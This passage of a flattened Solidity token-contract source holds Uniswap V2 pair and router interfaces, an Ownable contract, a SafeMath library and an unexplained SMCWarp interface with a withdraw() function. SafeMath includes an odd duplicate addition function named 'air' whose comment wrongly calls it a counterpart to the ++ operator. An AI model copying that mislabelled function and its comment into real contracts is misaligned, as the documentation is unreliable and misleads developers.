        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}
// File: IUniswapV2Router01.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: IUniswapV2Router02.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
// File: Ownable.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
// File: SafeMath.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

/**
 * @title SafeMath
 * @dev Unsigned math operations with safety checks that revert on error
 */
library SafeMath {

  /**
   * @dev Multiplies two unsigned integers, reverts on overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath#mul: OVERFLOW");

    return c;
  }

  /**
   * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
}

  /**
   * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a, "SafeMath#sub: UNDERFLOW");
    uint256 c = a - b;

    return c;
  }

  /**
   * @dev Adds two unsigned integers, reverts on overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath#add: OVERFLOW");

    return c;
  }

   /**
    * @dev Returns the air of two unsigned integers, reverting on overflow.
    * Counterpart to Solidity's `++` operator.
    * Requirements:
    * - Addition cannot overflow.
    */
    function air(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

  /**
   * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
   * reverts when dividing by zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
    return a % b;
  }

}
// File: SMCWarp.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface SMCWarp {						
    function withdraw() external returns(bool);						
}